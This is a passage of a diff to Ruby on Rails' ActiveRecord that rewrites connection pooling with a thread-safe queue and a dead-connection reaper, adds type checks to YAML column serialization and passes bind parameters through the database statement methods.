+++ b/activerecord/lib/active_record/coders/yaml_column.rb
@@ -1,12 +1,10 @@
+require 'yaml'
+
 module ActiveRecord
   # :stopdoc:
   module Coders
     class YAMLColumn
-      RESCUE_ERRORS = [ ArgumentError ]
-
-      if defined?(Psych) && defined?(Psych::SyntaxError)
-        RESCUE_ERRORS << Psych::SyntaxError
-      end
+      RESCUE_ERRORS = [ ArgumentError, Psych::SyntaxError ]
 
       attr_accessor :object_class
 
@@ -15,6 +13,12 @@ module ActiveRecord
       end
 
       def dump(obj)
+        return if obj.nil?
+
+        unless obj.is_a?(object_class)
+          raise SerializationTypeMismatch,
+            "Attribute was supposed to be a #{object_class}, but was a #{obj.class}. -- #{obj.inspect}"
+        end
         YAML.dump obj
       end
 
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index 77a5fe1efb..347d794fa3 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -1,7 +1,7 @@
 require 'thread'
 require 'monitor'
 require 'set'
-require 'active_support/core_ext/module/synchronization'
+require 'active_support/core_ext/module/deprecation'
 
 module ActiveRecord
   # Raised when a connection could not be obtained within the connection
@@ -9,6 +9,10 @@ module ActiveRecord
   class ConnectionTimeoutError < ConnectionNotEstablished
   end
 
+  # Raised when a connection pool is full and another connection is requested
+  class PoolFullError < ConnectionNotEstablished
+  end
+
   module ConnectionAdapters
     # Connection pool base class for managing Active Record database
     # connections.
@@ -50,107 +54,210 @@ module ActiveRecord
     #
     # == Options
     #
-    # There are two connection-pooling-related options that you can add to
+    # There are several connection-pooling-related options that you can add to
     # your database connection configuration:
     #
     # * +pool+: number indicating size of connection pool (default 5)
-    # * +wait_timeout+: number of seconds to block and wait for a connection
+    # * +checkout_timeout+: number of seconds to block and wait for a connection
     #   before giving up and raising a timeout error (default 5 seconds).
+    # * +reaping_frequency+: frequency in seconds to periodically run the
+    #   Reaper, which attempts to find and close dead connections, which can
+    #   occur if a programmer forgets to close a connection at the end of a
+    #   thread or a thread dies unexpectedly. (Default nil, which means don't
+    #   run the Reaper).
+    # * +dead_connection_timeout+: number of seconds from last checkout
+    #   after which the Reaper will consider a connection reapable. (default
+    #   5 seconds).
     class ConnectionPool
-      attr_accessor :automatic_reconnect
-      attr_reader :spec, :connections
-      attr_reader :columns, :columns_hash, :primary_keys, :tables
-      attr_reader :column_defaults
-
-      # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
-      # object which describes database connection information (e.g. adapter,
-      # host name, username, password, etc), as well as the maximum size for
-      # this ConnectionPool.
+      # Threadsafe, fair, FIFO queue.  Meant to be used by ConnectionPool
+      # with which it shares a Monitor.  But could be a generic Queue.
       #
-      # The default ConnectionPool maximum size is 5.
-      def initialize(spec)
-        @spec = spec
-
-        # The cache of reserved connections mapped to threads
-        @reserved_connections = {}
+      # The Queue in stdlib's 'thread' could replace this class except
+      # stdlib's doesn't support waiting with a timeout.
+      class Queue
+        def initialize(lock = Monitor.new)
+          @lock = lock
+          @cond = @lock.new_cond
+          @num_waiting = 0
+          @queue = []
+        end
 
-        # The mutex used to synchronize pool access
-        @connection_mutex = Monitor.new
-        @queue = @connection_mutex.new_cond
-        @timeout = spec.config[:wait_timeout] || 5
+        # Test if any threads are currently waiting on the queue.
+        def any_waiting?
+          synchronize do
+            @num_waiting > 0
+          end
+        end
 
-        # default max pool size to 5
-        @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5
+        # Return the number of threads currently waiting on this
+        # queue.
+        def num_waiting
+          synchronize do
+            @num_waiting
+          end
+        end
 
-        @connections         = []
-        @checked_out         = []
-        @automatic_reconnect = true
-        @tables              = {}
-        @visitor             = nil
+        # Add +element+ to the queue.  Never blocks.
+        def add(element)
+          synchronize do
+            @queue.push element
+            @cond.signal
+          end
+        end
 
-        @columns     = Hash.new do |h, table_name|
-          h[table_name] = with_connection do |conn|
+        # If +element+ is in the queue, remove and return it, or nil.
+        def delete(element)
+          synchronize do
+            @queue.delete(element)
+          end
+        end
 
-            # Fetch a list of columns
-            conn.columns(table_name, "#{table_name} Columns").tap do |columns|
+        # Remove all elements from the queue.
+        def clear
+          synchronize do
+            @queue.clear
+          end
+        end
 
-              # set primary key information
-              columns.each do |column|
-                column.primary = column.name == primary_keys[table_name]
-              end
+        # Remove the head of the queue.
+        #
+        # If +timeout+ is not given, remove and return the head the
+        # queue if the number of available elements is strictly
+        # greater than the number of threads currently waiting (that
+        # is, don't jump ahead in line).  Otherwise, return nil.
+        #
+        # If +timeout+ is given, block if it there is no element
+        # available, waiting up to +timeout+ seconds for an element to
+        # become available.
+        #
+        # Raises:
+        # - ConnectionTimeoutError if +timeout+ is given and no element
+        # becomes available after +timeout+ seconds,
+        def poll(timeout = nil)
+          synchronize do
+            if timeout
+              no_wait_poll || wait_poll(timeout)
+            else
+              no_wait_poll
             end
           end
         end
 
-        @columns_hash = Hash.new do |h, table_name|
-          h[table_name] = Hash[columns[table_name].map { |col|
-            [col.name, col]
-          }]
+        private
+
+        def synchronize(&block)
+          @lock.synchronize(&block)
+        end
+
+        # Test if the queue currently contains any elements.
+        def any?
+          !@queue.empty?
+        end
+
+        # A thread can remove an element from the queue without
+        # waiting if an only if the number of currently available
+        # connections is strictly greater than the number of waiting
+        # threads.
+        def can_remove_no_wait?
+          @queue.size > @num_waiting
         end
 
-        @column_defaults = Hash.new do |h, table_name|
-          h[table_name] = Hash[columns[table_name].map { |col|
-            [col.name, col.default]
-          }]
+        # Removes and returns the head of the queue if possible, or nil.
+        def remove
+          @queue.shift
         end
 
-        @primary_keys = Hash.new do |h, table_name|
-          h[table_name] = with_connection do |conn|
-            table_exists?(table_name) ? conn.primary_key(table_name) : 'id'
+        # Remove and return the head the queue if the number of
+        # available elements is strictly greater than the number of
+        # threads currently waiting.  Otherwise, return nil.
+        def no_wait_poll
+          remove if can_remove_no_wait?
+        end
+
+        # Waits on the queue up to +timeout+ seconds, then removes and
+        # returns the head of the queue.
+        def wait_poll(timeout)
+          @num_waiting += 1
+
+          t0 = Time.now
+          elapsed = 0
+          loop do
+            @cond.wait(timeout - elapsed)
+
+            return remove if any?
+
+            elapsed = Time.now - t0
+            raise ConnectionTimeoutError if elapsed >= timeout
           end
+        ensure
+          @num_waiting -= 1
         end
       end
 
-      # A cached lookup for table existence.
-      def table_exists?(name)
-        return true if @tables.key? name
-
-        with_connection do |conn|
-          conn.tables.each { |table| @tables[table] = true }
-          @tables[name] = true if !@tables.key?(name) && conn.table_exists?(name)
+      # Every +frequency+ seconds, the reaper will call +reap+ on +pool+.
+      # A reaper instantiated with a nil frequency will never reap the
+      # connection pool.
+      #
+      # Configure the frequency by setting "reaping_frequency" in your
+      # database yaml file.
+      class Reaper
+        attr_reader :pool, :frequency
+
+        def initialize(pool, frequency)
+          @pool      = pool
+          @frequency = frequency
         end
 
-        @tables.key? name
+        def run
+          return unless frequency
+          Thread.new(frequency, pool) { |t, p|
+            while true
+              sleep t
+              p.reap
+            end
+          }
+        end
       end
 
-      # Clears out internal caches:
+      include MonitorMixin
+
+      attr_accessor :automatic_reconnect, :checkout_timeout, :dead_connection_timeout
+      attr_reader :spec, :connections, :size, :reaper
+
+      # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
+      # object which describes database connection information (e.g. adapter,
+      # host name, username, password, etc), as well as the maximum size for
+      # this ConnectionPool.
       #
-      #   * columns
-      #   * columns_hash
-      #   * tables
-      def clear_cache!
-        @columns.clear
-        @columns_hash.clear
-        @column_defaults.clear
-        @tables.clear
+      # The default ConnectionPool maximum size is 5.
+      def initialize(spec)
+        super()
+
+        @spec = spec
+
+        # The cache of reserved connections mapped to threads
+        @reserved_connections = {}
+
+        @checkout_timeout = spec.config[:checkout_timeout] || 5
+        @dead_connection_timeout = spec.config[:dead_connection_timeout]
+        @reaper  = Reaper.new self, spec.config[:reaping_frequency]
+        @reaper.run
+
+        # default max pool size to 5
+        @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5
+
+        @connections         = []
+        @automatic_reconnect = true
+
+        @available = Queue.new self
       end
 
-      # Clear out internal caches for table with +table_name+.
-      def clear_table_cache!(table_name)
-        @columns.delete table_name
-        @columns_hash.delete table_name
-        @column_defaults.delete table_name
-        @primary_keys.delete table_name
+      # Hack for tests to be able to add connections.  Do not call outside of tests
+      def insert_connection_for_test!(c) #:nodoc:
+        synchronize do
+          @connections << c
+          @available.add c
+        end
       end
 
       # Retrieve the connection associated with the current thread, or call
@@ -159,21 +266,28 @@ module ActiveRecord
       # #connection can be called any number of times; the connection is
       # held in a hash keyed by the thread id.
       def connection
-        @reserved_connections[current_connection_id] ||= checkout
+        synchronize do
+          @reserved_connections[current_connection_id] ||= checkout
+        end
       end
 
-      # Check to see if there is an active connection in this connection
-      # pool.
+      # Is there an open connection that is being used for the current thread?
       def active_connection?
-        @reserved_connections.key? current_connection_id
+        synchronize do
+          @reserved_connections.fetch(current_connection_id) {
+            return false
+          }.in_use?
+        end
       end
 
       # Signal that the thread is finished with the current connection.
       # #release_connection releases the connection-thread association
       # and returns the connection to the pool.
       def release_connection(with_id = current_connection_id)
-        conn = @reserved_connections.delete(with_id)
-        checkin conn if conn
+        synchronize do
+          conn = @reserved_connections.delete(with_id)
+          checkin conn if conn
+        end
       end
 
       # If a connection already exists yield it to the block. If no connection
@@ -181,7 +295,7 @@ module ActiveRecord
       # connection when finished.
       def with_connection
         connection_id = current_connection_id
-        fresh_connection = true unless @reserved_connections[connection_id]
+        fresh_connection = true unless active_connection?
         yield connection
       ensure
         release_connection(connection_id) if fresh_connection
@@ -189,95 +303,64 @@ module ActiveRecord
 
       # Returns true if a connection has already been opened.
       def connected?
-        !@connections.empty?
+        synchronize { @connections.any? }
       end
 
       # Disconnects all connections in the pool, and clears the pool.
       def disconnect!
-        @reserved_connections.each do |name,conn|
-          checkin conn
-        end
-        @reserved_connections = {}
-        @connections.each do |conn|
-          conn.disconnect!
+        synchronize do
+          @reserved_connections = {}
+          @connections.each do |conn|
+            checkin conn
+            conn.disconnect!
+          end
+          @connections = []
+          @available.clear
         end
-        @connections = []
       end
 
       # Clears the cache which maps classes.
       def clear_reloadable_connections!
-        @reserved_connections.each do |name, conn|
-          checkin conn
-        end
-        @reserved_connections = {}
-        @connections.each do |conn|
-          conn.disconnect! if conn.requires_reloading?
-        end
-        @connections.delete_if do |conn|
-          conn.requires_reloading?
-        end
-      end
-
-      # Verify active connections and remove and disconnect connections
-      # associated with stale threads.
-      def verify_active_connections! #:nodoc:
-        clear_stale_cached_connections!
-        @connections.each do |connection|
-          connection.verify!
+        synchronize do
+          @reserved_connections = {}
+          @connections.each do |conn|
+            checkin conn
+            conn.disconnect! if conn.requires_reloading?
+          end
+          @connections.delete_if do |conn|
+            conn.requires_reloading?
+          end
+          @available.clear
+          @connections.each do |conn|
+            @available.add conn
+          end
         end
       end
 
-      # Return any checked-out connections back to the pool by threads that
-      # are no longer alive.
-      def clear_stale_cached_connections!
-        keys = @reserved_connections.keys - Thread.list.find_all { |t|
-          t.alive?
-        }.map { |thread| thread.object_id }
-        keys.each do |key|
-          checkin @reserved_connections[key]
-          @reserved_connections.delete(key)
-        end
+      def clear_stale_cached_connections! # :nodoc:
+        reap
       end
+      deprecate :clear_stale_cached_connections! => "Please use #reap instead"
 
       # Check-out a database connection from the pool, indicating that you want
       # to use it. You should call #checkin when you no longer need this.
       #
-      # This is done by either returning an existing connection, or by creating
-      # a new connection. If the maximum number of connections for this pool has
-      # already been reached, but the pool is empty (i.e. they're all being used),
-      # then this method will wait until a thread has checked in a connection.
-      # The wait time is bounded however: if no connection can be checked out
-      # within the timeout specified for this pool, then a ConnectionTimeoutError
-      # exception will be raised.
+      # This is done by either returning and leasing existing connection, or by
+      # creating a new connection and leasing it.
+      #
+      # If all connections are leased and the pool is at capacity (meaning the
+      # number of currently leased connections is greater than or equal to the
+      # size limit set), an ActiveRecord::PoolFullError exception will be raised.
       #
       # Returns: an AbstractAdapter object.
       #
       # Raises:
-      # - ConnectionTimeoutError: no connection can be obtained from the pool
-      #   within the timeout period.
+      # - PoolFullError: no connection can be obtained from the pool.
       def checkout
-        # Checkout an available connection
-        @connection_mutex.synchronize do
-          loop do
-            conn = if @checked_out.size < @connections.size
-                     checkout_existing_connection
-                   elsif @connections.size < @size
-                     checkout_new_connection
-                   end
-            return conn if conn
-
-            @queue.wait(@timeout)
-
-            if(@checked_out.size < @connections.size)
-              next
-            else
-              clear_stale_cached_connections!
-              if @size == @checked_out.size
-                raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout}. The max pool size is currently #{@size}; consider increasing it."
-              end
-            end
-
-          end
+        synchronize do
+          conn = acquire_connection
+          conn.lease
+          checkout_and_verify(conn)
         end
       end
 
@@ -287,53 +370,103 @@ module ActiveRecord
       # +conn+: an AbstractAdapter object, which was obtained by earlier by
       # calling +checkout+ on this pool.
       def checkin(conn)
-        @connection_mutex.synchronize do
+        synchronize do
           conn.run_callbacks :checkin do
-            @checked_out.delete conn
-            @queue.signal
+            conn.expire
           end
+
+          release conn
+
+          @available.add conn
         end
       end
 
-      synchronize :clear_reloadable_connections!, :verify_active_connections!,
-        :connected?, :disconnect!, :with => :@connection_mutex
+      # Remove a connection from the connection pool.  The connection will
+      # remain open and active but will no longer be managed by this pool.
+      def remove(conn)
+        synchronize do
+          @connections.delete conn
+          @available.delete conn
+
+          # FIXME: we might want to store the key on the connection so that removing
+          # from the reserved hash will be a little easier.
+          release conn
+
+          @available.add checkout_new_connection if @available.any_waiting?
+        end
+      end
+
+      # Removes dead connections from the pool.  A dead connection can occur
+      # if a programmer forgets to close a connection at the end of a thread
+      # or a thread dies unexpectedly.
+      def reap
+        synchronize do
+          stale = Time.now - @dead_connection_timeout
+          connections.dup.each do |conn|
+            remove conn if conn.in_use? && stale > conn.last_use && !conn.active?
+          end
+        end
+      end
 
       private
 
-      def new_connection
-        connection = ActiveRecord::Base.send(spec.adapter_method, spec.config)
+      # Acquire a connection by one of 1) immediately removing one
+      # from the queue of available connections, 2) creating a new
+      # connection if the pool is not at capacity, 3) waiting on the
+      # queue for a connection to become available.
+      #
+      # Raises:
+      # - PoolFullError if a connection could not be acquired (FIXME:
+      #   why not ConnectionTimeoutError?
+      def acquire_connection
+        if conn = @available.poll
+          conn
+        elsif @connections.size < @size
+          checkout_new_connection
+        else
+          t0 = Time.now
+          begin
+            @available.poll(@checkout_timeout)
+          rescue ConnectionTimeoutError
+            msg = 'could not obtain a database connection within %0.3f seconds (waited %0.3f seconds)' %
+              [@checkout_timeout, Time.now - t0]
+            raise PoolFullError, msg
+          end
+        end
+      end
 
-        # TODO: This is a bit icky, and in the long term we may want to change the method
-        #       signature for connections. Also, if we switch to have one visitor per
-        #       connection (and therefore per thread), we can get rid of the thread-local
-        #       variable in Arel::Visitors::ToSql.
-        @visitor ||= connection.class.visitor_for(self)
-        connection.visitor = @visitor
+      def release(conn)
+        thread_id = if @reserved_connections[current_connection_id] == conn
+          current_connection_id
+        else
+          @reserved_connections.keys.find { |k|
+            @reserved_connections[k] == conn
+          }
+        end
 
-        connection
+        @reserved_connections.delete thread_id if thread_id
+      end
+
+      def new_connection
+        ActiveRecord::Model.send(spec.adapter_method, spec.config)
       end
 
       def current_connection_id #:nodoc:
-        ActiveRecord::Base.connection_id ||= Thread.current.object_id
+        ActiveRecord::Model.connection_id ||= Thread.current.object_id
       end
 
       def checkout_new_connection
         raise ConnectionNotEstablished unless @automatic_reconnect
 
         c = new_connection
+        c.pool = self
         @connections << c
-        checkout_and_verify(c)
-      end
-
-      def checkout_existing_connection
-        c = (@connections - @checked_out).first
-        checkout_and_verify(c)
+        c
       end
 
       def checkout_and_verify(c)
         c.run_callbacks :checkout do
           c.verify!
-          @checked_out << c
         end
         c
       end
@@ -363,14 +496,18 @@ module ActiveRecord
     # ActiveRecord::Base.connection_handler. Active Record models use this to
     # determine that connection pool that they should use.
     class ConnectionHandler
-      attr_reader :connection_pools
-
-      def initialize(pools = {})
+      def initialize(pools = Hash.new { |h,k| h[k] = {} })
         @connection_pools = pools
+        @class_to_pool    = Hash.new { |h,k| h[k] = {} }
+      end
+
+      def connection_pools
+        @connection_pools[Process.pid]
       end
 
       def establish_connection(name, spec)
-        @connection_pools[name] = ConnectionAdapters::ConnectionPool.new(spec)
+        set_pool_for_spec spec, ConnectionAdapters::ConnectionPool.new(spec)
+        set_class_to_pool name, connection_pools[spec]
       end
 
       # Returns true if there are any active connections among the connection
@@ -383,21 +520,16 @@ module ActiveRecord
       # and also returns connections to the pool cached by threads that are no
       # longer alive.
       def clear_active_connections!
-        @connection_pools.each_value {|pool| pool.release_connection }
+        connection_pools.each_value {|pool| pool.release_connection }
       end
 
       # Clears the cache which maps classes.
       def clear_reloadable_connections!
-        @connection_pools.each_value {|pool| pool.clear_reloadable_connections! }
+        connection_pools.each_value {|pool| pool.clear_reloadable_connections! }
       end
 
       def clear_all_connections!
-        @connection_pools.each_value {|pool| pool.disconnect! }
-      end
-
-      # Verify active connections.
-      def verify_active_connections! #:nodoc:
-        @connection_pools.each_value {|pool| pool.verify_active_connections! }
+        connection_pools.each_value {|pool| pool.disconnect! }
       end
 
       # Locate the connection of the nearest super class. This can be an
@@ -421,52 +553,58 @@ module ActiveRecord
       # can be used as an argument for establish_connection, for easily
       # re-establishing the connection.
       def remove_connection(klass)
-        pool = @connection_pools.delete(klass.name)
+        pool = class_to_pool.delete(klass.name)
         return nil unless pool
 
+        connection_pools.delete pool.spec
         pool.automatic_reconnect = false
         pool.disconnect!
         pool.spec.config
       end
 
       def retrieve_connection_pool(klass)
-        pool = @connection_pools[klass.name]
-        return pool if pool
-        return nil if ActiveRecord::Base == klass
-        retrieve_connection_pool klass.superclass
+        if !(klass < Model::Tag)
+          get_pool_for_class('ActiveRecord::Model') # default connection
+        else
+          pool = get_pool_for_class(klass.name)
+          pool || retrieve_connection_pool(klass.superclass)
+        end
       end
-    end
 
-    class ConnectionManagement
-      class Proxy # :nodoc:
-        attr_reader :body, :testing
-
-        def initialize(body, testing = false)
-          @body    = body
-          @testing = testing
-        end
+      private
 
-        def method_missing(method_sym, *arguments, &block)
-          @body.send(method_sym, *arguments, &block)
-        end
+      def class_to_pool
+        @class_to_pool[Process.pid]
+      end
 
-        def respond_to?(method_sym, include_private = false)
-          super || @body.respond_to?(method_sym)
-        end
+      def set_pool_for_spec(spec, pool)
+        @connection_pools[Process.pid][spec] = pool
+      end
 
-        def each(&block)
-          body.each(&block)
-        end
+      def set_class_to_pool(name, pool)
+        @class_to_pool[Process.pid][name] = pool
+        pool
+      end
 
-        def close
-          body.close if body.respond_to?(:close)
+      def get_pool_for_class(klass)
+        @class_to_pool[Process.pid].fetch(klass) {
+          c_to_p = @class_to_pool.values.find { |class_to_pool|
+            class_to_pool[klass]
+          }
 
-          # Don't return connection (and perform implicit rollback) if
-          # this request is a part of integration test
-          ActiveRecord::Base.clear_active_connections! unless testing
-        end
+          if c_to_p
+            pool = c_to_p[klass]
+            pool = ConnectionAdapters::ConnectionPool.new pool.spec
+            set_pool_for_spec pool.spec, pool
+            set_class_to_pool klass, pool
+          else
+            set_class_to_pool klass, nil
+          end
+        }
       end
+    end
 
+    class ConnectionManagement
       def initialize(app)
         @app = app
       end
@@ -474,9 +612,12 @@ module ActiveRecord
       def call(env)
         testing = env.key?('rack.test')
 
-        status, headers, body = @app.call(env)
+        response = @app.call(env)
+        response[2] = ::Rack::BodyProxy.new(response[2]) do
+          ActiveRecord::Base.clear_active_connections! unless testing
+        end
 
-        [status, headers, Proxy.new(body, testing)]
+        response
       rescue
         ActiveRecord::Base.clear_active_connections! unless testing
         raise
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
deleted file mode 100644
index 3d0f146fed..0000000000
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
+++ /dev/null
@@ -1,161 +0,0 @@
-module ActiveRecord
-  class Base
-    class ConnectionSpecification #:nodoc:
-      attr_reader :config, :adapter_method
-      def initialize (config, adapter_method)
-        @config, @adapter_method = config, adapter_method
-      end
-    end
-
-    ##
-    # :singleton-method:
-    # The connection handler
-    class_attribute :connection_handler, :instance_writer => false
-    self.connection_handler = ConnectionAdapters::ConnectionHandler.new
-
-    # Returns the connection currently associated with the class. This can
-    # also be used to "borrow" the connection to do database work that isn't
-    # easily done without going straight to SQL.
-    def connection
-      self.class.connection
-    end
-
-    # Establishes the connection to the database. Accepts a hash as input where
-    # the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
-    # example for regular databases (MySQL, Postgresql, etc):
-    #
-    #   ActiveRecord::Base.establish_connection(
-    #     :adapter  => "mysql",
-    #     :host     => "localhost",
-    #     :username => "myuser",
-    #     :password => "mypass",
-    #     :database => "somedatabase"
-    #   )
-    #
-    # Example for SQLite database:
-    #
-    #   ActiveRecord::Base.establish_connection(
-    #     :adapter => "sqlite",
-    #     :database  => "path/to/dbfile"
-    #   )
-    #
-    # Also accepts keys as strings (for parsing from YAML for example):
-    #
-    #   ActiveRecord::Base.establish_connection(
-    #     "adapter" => "sqlite",
-    #     "database"  => "path/to/dbfile"
-    #   )
-    #
-    # Or a URL:
-    #
-    #   ActiveRecord::Base.establish_connection(
-    #     "postgres://myuser:mypass@localhost/somedatabase"
-    #   )
-    #
-    # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
-    # may be returned on an error.
-    def self.establish_connection(spec = ENV["DATABASE_URL"])
-      case spec
-        when nil
-          raise AdapterNotSpecified unless defined?(Rails.env)
-          establish_connection(Rails.env)
-        when ConnectionSpecification
-          self.connection_handler.establish_connection(name, spec)
-        when Symbol, String
-          if configuration = configurations[spec.to_s]
-            establish_connection(configuration)
-          elsif spec.is_a?(String) && hash = connection_url_to_hash(spec)
-            establish_connection(hash)
-          else
-            raise AdapterNotSpecified, "#{spec} database is not configured"
-          end
-        else
-          spec = spec.symbolize_keys
-          unless spec.key?(:adapter) then raise AdapterNotSpecified, "database configuration does not specify adapter" end
-
-          begin
-            require "active_record/connection_adapters/#{spec[:adapter]}_adapter"
-          rescue LoadError => e
-            raise "Please install the #{spec[:adapter]} adapter: `gem install activerecord-#{spec[:adapter]}-adapter` (#{e})"
-          end
-
-          adapter_method = "#{spec[:adapter]}_connection"
-          unless respond_to?(adapter_method)
-            raise AdapterNotFound, "database configuration specifies nonexistent #{spec[:adapter]} adapter"
-          end
-
-          remove_connection
-          establish_connection(ConnectionSpecification.new(spec, adapter_method))
-      end
-    end
-
-    def self.connection_url_to_hash(url) # :nodoc:
-      config = URI.parse url
-      adapter = config.scheme
-      adapter = "postgresql" if adapter == "postgres"
-      spec = { :adapter  => adapter,
-               :username => config.user,
-               :password => config.password,
-               :port     => config.port,
-               :database => config.path.sub(%r{^/},""),
-               :host     => config.host }
-      spec.reject!{ |_,value| !value }
-      if config.query
-        options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
-        spec.merge!(options)
-      end
-      spec
-    end
-
-    class << self
-      # Returns the connection currently associated with the class. This can
-      # also be used to "borrow" the connection to do database work unrelated
-      # to any of the specific Active Records.
-      def connection
-        retrieve_connection
-      end
-
-      def connection_id
-        Thread.current['ActiveRecord::Base.connection_id']
-      end
-
-      def connection_id=(connection_id)
-        Thread.current['ActiveRecord::Base.connection_id'] = connection_id
-      end
-
-      # Returns the configuration of the associated connection as a hash:
-      #
-      #  ActiveRecord::Base.connection_config
-      #  # => {:pool=>5, :timeout=>5000, :database=>"db/development.sqlite3", :adapter=>"sqlite3"}
-      #
-      # Please use only for reading.
-      def connection_config
-        connection_pool.spec.config
-      end
-
-      def connection_pool
-        connection_handler.retrieve_connection_pool(self) or raise ConnectionNotEstablished
-      end
-
-      def retrieve_connection
-        connection_handler.retrieve_connection(self)
-      end
-
-      # Returns true if Active Record is connected.
-      def connected?
-        connection_handler.connected?(self)
-      end
-
-      def remove_connection(klass = self)
-        connection_handler.remove_connection(klass)
-      end
-
-      def clear_active_connections!
-        connection_handler.clear_active_connections!
-      end
-
-      delegate :clear_reloadable_connections!,
-        :clear_all_connections!,:verify_active_connections!, :to => :connection_handler
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index dc4a53034b..02459763f7 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -1,10 +1,19 @@
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
     module DatabaseStatements
+      def initialize
+        super
+        @_current_transaction_records = []
+        @transaction_joinable         = nil
+      end
+
       # Converts an arel AST to SQL
-      def to_sql(arel)
+      def to_sql(arel, binds = [])
         if arel.respond_to?(:ast)
-          visitor.accept(arel.ast)
+          binds = binds.dup
+          visitor.accept(arel.ast) do
+            quote(*binds.shift.reverse)
+          end
         else
           arel
         end
@@ -13,19 +22,19 @@ module ActiveRecord
       # Returns an array of record hashes with the column names as keys and
       # column values as values.
       def select_all(arel, name = nil, binds = [])
-        select(to_sql(arel), name, binds)
+        select(to_sql(arel, binds), name, binds)
       end
 
       # Returns a record hash with the column names as keys and column values
       # as values.
-      def select_one(arel, name = nil)
-        result = select_all(arel, name)
+      def select_one(arel, name = nil, binds = [])
+        result = select_all(arel, name, binds)
         result.first if result
       end
 
       # Returns a single value from a record
-      def select_value(arel, name = nil)
-        if result = select_one(arel, name)
+      def select_value(arel, name = nil, binds = [])
+        if result = select_one(arel, name, binds)
           result.values.first
         end
       end
@@ -33,7 +42,7 @@ module ActiveRecord
       # Returns an array of the values of the first column in a select:
       #   select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
       def select_values(arel, name = nil)
-        result = select_rows(to_sql(arel), name)
+        result = select_rows(to_sql(arel, []), name)
         result.map { |v| v[0] }
       end
 
@@ -55,21 +64,21 @@ module ActiveRecord
       end
 
       # Executes insert +sql+ statement in the context of this connection using
-      # +binds+ as the bind substitutes. +name+ is the logged along with
+      # +binds+ as the bind substitutes. +name+ is logged along with
       # the executed +sql+ statement.
-      def exec_insert(sql, name, binds)
+      def exec_insert(sql, name, binds, pk = nil, sequence_name = nil)
         exec_query(sql, name, binds)
       end
 
       # Executes delete +sql+ statement in the context of this connection using
-      # +binds+ as the bind substitutes. +name+ is the logged along with
+      # +binds+ as the bind substitutes. +name+ is logged along with
       # the executed +sql+ statement.
       def exec_delete(sql, name, binds)
         exec_query(sql, name, binds)
       end
 
       # Executes update +sql+ statement in the context of this connection using
-      # +binds+ as the bind substitutes. +name+ is the logged along with
+      # +binds+ as the bind substitutes. +name+ is logged along with
       # the executed +sql+ statement.
       def exec_update(sql, name, binds)
         exec_query(sql, name, binds)
@@ -84,19 +93,19 @@ module ActiveRecord
       # If the next id was calculated in advance (as in Oracle), it should be
       # passed in as +id_value+.
       def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [])
-        sql, binds = sql_for_insert(to_sql(arel), pk, id_value, sequence_name, binds)
-        value      = exec_insert(sql, name, binds)
+        sql, binds = sql_for_insert(to_sql(arel, binds), pk, id_value, sequence_name, binds)
+        value      = exec_insert(sql, name, binds, pk, sequence_name)
         id_value || last_inserted_id(value)
       end
 
       # Executes the update statement and returns the number of rows affected.
       def update(arel, name = nil, binds = [])
-        exec_update(to_sql(arel), name, binds)
+        exec_update(to_sql(arel, binds), name, binds)
       end
 
       # Executes the delete statement and returns the number of rows affected.
       def delete(arel, name = nil, binds = [])
-        exec_delete(to_sql(arel), name, binds)
+        exec_delete(to_sql(arel, binds), name, binds)
       end
 
       # Checks whether there is currently no transaction active. This is done
@@ -130,7 +139,7 @@ module ActiveRecord
       #
       # In order to get around this problem, #transaction will emulate the effect
       # of nested transactions, by using savepoints:
-      # http://dev.mysql.com/doc/refman/5.0/en/savepoints.html
+      # http://dev.mysql.com/doc/refman/5.0/en/savepoint.html
       # Savepoints are supported by MySQL and PostgreSQL, but not SQLite3.
       #
       # It is safe to call this method if a database transaction is already open,
@@ -164,7 +173,7 @@ module ActiveRecord
       def transaction(options = {})
         options.assert_valid_keys :requires_new, :joinable
 
-        last_transaction_joinable = defined?(@transaction_joinable) ? @transaction_joinable : nil
+        last_transaction_joinable = @transaction_joinable
         if options.has_key?(:joinable)
           @transaction_joinable = options[:joinable]
         else
@@ -173,22 +182,19 @@ module ActiveRecord
         requires_new = options[:requires_new] || !last_transaction_joinable
 
         transaction_open = false
-        @_current_transaction_records ||= []
 
         begin
-          if block_given?
-            if requires_new || open_transactions == 0
-              if open_transactions == 0
-                begin_db_transaction
-              elsif requires_new
-                create_savepoint
-              end
-              increment_open_transactions
-              transaction_open = true
-              @_current_transaction_records.push([])
+          if requires_new || open_transactions == 0
+            if open_transactions == 0
+              begin_db_transaction
+            elsif requires_new
+              create_savepoint
             end
-            yield
+            increment_open_transactions
+            transaction_open = true
+            @_current_transaction_records.push([])
           end
+          yield
         rescue Exception => database_transaction_rollback
           if transaction_open && !outside_transaction?
             transaction_open = false
@@ -222,7 +228,7 @@ module ActiveRecord
                 @_current_transaction_records.last.concat(save_point_records)
               end
             end
-          rescue Exception => database_transaction_rollback
+          rescue Exception
             if open_transactions == 0
               rollback_db_transaction
               rollback_transaction_records(true)
@@ -310,13 +316,27 @@ module ActiveRecord
       # on mysql (even when aliasing the tables), but mysql allows using JOIN directly in
       # an UPDATE statement, so in the mysql adapters we redefine this to do that.
       def join_to_update(update, select) #:nodoc:
-        subselect = select.clone
